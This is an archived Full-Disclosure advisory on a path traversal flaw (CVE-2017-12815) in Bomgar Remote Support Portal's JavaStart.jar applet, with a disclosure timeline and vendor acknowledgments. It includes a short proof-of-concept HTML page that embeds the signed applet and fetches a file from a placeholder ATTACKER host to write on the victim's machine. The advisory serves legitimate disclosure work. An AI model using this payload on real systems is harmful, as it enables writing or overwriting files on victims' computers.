lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Fri, 23 Mar 2018 00:32:35 +1100
From: x ksi <s3810@...stk.edu.pl>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: [FD] Bomgar Remote Support Portal JavaStart Applet <= 52970 - Path
	Traversal

Hey,

The Path Traversal vulnerability was found in the component of the Bomgar
Remote Support Portal (RSP) [1]. The affected component is a JavaStart.jar
applet that is hosted at https://TARGET/api/content/JavaStart.jar on the
vulnerable RSP deployments. The JavaStart version 52970 and prior were
confirmed to be vulnerable.

Analysis of the applet revealed that App.class suffers from a Path
Traversal vulnerability. The vulnerable class makes a call to a File()
constructor and uses the value specified in the "url" parameter as an
argument. The "url" parameter is specified in the <PARAM NAME> HTML tag
which passes arguments to applets embedded on web sites using an <APPLET>
HTML tag, in this case JavaStart.jar applet.

Successful exploitation results in the creation/modification/deletion of
files with the privilege of the user who runs the Java applet. In order to
exploit this vulnerability a victim would have to visit the attacker's
controlled website and allow the Java applet to execute.

It may be argued that the Path Traversal is not an issue in this case
because the victim has to download and run unknown code. While this is
usually correct, one needs to consider that anyone can embed the
JavaStart.jar applet on their website, while the applet can be hosted on a
legitimate/trustworthy location (i.e. for successful exploitation attacker
needs to control the <PARAM NAME>, not the contents of the archive or the
domain it is hosted at).  Additonaly, the applet will be digitally signed
by a trustworthy organisation.  Last but not least, the purpose of the
applet itself makes it easy to convince/trick users.

The final impact of the vulnerability heavily depends on additional
factors, such as operating system, web browser and its settings, Java
settings, user privileges running the applet etc.  The vulnerability was
successfully executed on Windows 7 running IE 11 with its default
configuration. On Mac OS Sierra running Safari 10.1, the Java restrictions
prevented traversing outside of the temp/sandbox directory.

The PoC exploiting this vulnerability is included below:
--
$ cat > page.html << EOF
<html><body>
<applet code="com.bomgar.javastart.App.class"
        archive="https://TARGET/api/content/JavaStart.jar">
  <PARAM NAME="url" VALUE="http://ATTACKER/FILE_TO_WRITE">
</applet>
</body></html>
EOF
--

Contact vendor for remediation details.

Timeline:
11.08.2017: Initial contact email sent to info@...gar.com with information
            about the vulnerability.
11.08.2017: Notification sent to vendor that CVE-2017-12815 has been
            assigned for this vulnerability by MITRE.
16.08.2017: No vendor response. Request sent to the vendor asking to
            confirm they received previous email communication.
16.08.2017: Bomgar's Product Management team responded to the request and
            information about the vulnerability was re-sent.
18.08.2017: Vendor confirms receving the information about the
            vulnerability and informs that the development team is looking
            into the issue.
26.08.2017: Vendor provides a status update and conclusions from the
            performed analysis. Vendor plans to remove the capability of
            the appliance to communicate with JavaStart.jar, to promote its
            disuse as well as removing it from customer appliances in an
            upcoming release.
26.08.2017: Asked vendor when the fixed version of their product will be
            released and if they are interested in coordinating the
            advisory release.
09.09.2017: Vendor provides a status update and informs the new release is
            planned to be released in October 2017.
19.11.2017: No vendor response. Request for a status update.
10.02.2018: No vendor response. Notifying vendor about the planned advisory
            release.
11.02.2018: Vendor requests the draft of the advisory.
20.03.2018: Advisory draft sent to the vendor for review along with
            information about the planned release on 22.03.2018.
21.03.2018: Vendor requests minor updates to the timeline and .
23.03.2018: The advisory is released.

References:
[1] https://www.bomgar.com/remote-support/features/support-portals

Acknowledgments:
- Jonas Outlaw (Bomgar)
- Keith Kerr (Telstra)


Thanks,
Filip Palian

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists